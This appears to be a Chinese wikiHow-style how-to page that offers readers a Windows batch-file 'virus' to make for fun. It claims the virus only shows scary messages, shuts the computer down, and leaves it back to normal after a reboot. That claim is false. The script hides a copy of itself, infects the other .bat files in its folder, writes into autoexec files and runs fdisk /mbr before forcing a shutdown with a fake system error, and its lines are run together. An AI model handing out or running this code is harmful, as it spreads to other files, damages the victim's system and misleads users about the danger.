How.com.vn是一个“多人协作写作系统”,因此我们的很多文章都是由多位作者共同创作的。 为了创作这篇文章,12位用户(部分匿名)多次对文章进行了编辑和改进。
这篇文章已经被读过15,137次。
想不想创建一个电脑病毒玩玩(不过只会弹出可怕的信息,突然关闭电脑,重启以后电脑又恢复原样)?你可以试试下面的一段代码,它是病毒运行时执行的代码。其中REM开头的代码电脑会忽略掉。
步骤
代码
@echo offtitle %0rem conditional check.echo welcome to this wonderful program! please wait while I delete all your files!rem infection of the usercopy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat) do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NTecho echo virus detected! >>c:\windows\system32\autoexec.NTecho pause >>c:\windows\system32\autoexec.NTecho NT core:infected!echo echo shame on you! >>c:\autoexec.batecho echo system hault-virus identified! >>c:\autoexec.batecho chkdsk >>c:\autoexec.batecho i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f e i s n o t b e a u t i f u lfdisk /mbrshutdown -s -t 03 -c “windows has shut down because the lsass service has encountered a write fault at 0×00000000000000000000000000000000000″
这篇文章对你有帮助吗?
⚠️ Disclaimer:
Content from Wiki How 中文 language website. Text is available under the Creative Commons Attribution-Share Alike License; additional terms may apply.
Wiki How does not encourage the violation of any laws, and cannot be responsible for any violations of such laws, should you link to this domain, or use, reproduce, or republish the information contained herein.
- - A few of these subjects are frequently censored by educational, governmental, corporate, parental and other filtering schemes.
- - Some articles may contain names, images, artworks or descriptions of events that some cultures restrict access to
- - Please note: Wiki How does not give you opinion about the law, or advice about medical. If you need specific advice (for example, medical, legal, financial or risk management), please seek a professional who is licensed or knowledgeable in that area.
- - Readers should not judge the importance of topics based on their coverage on Wiki How, nor think a topic is important just because it is the subject of a Wiki article.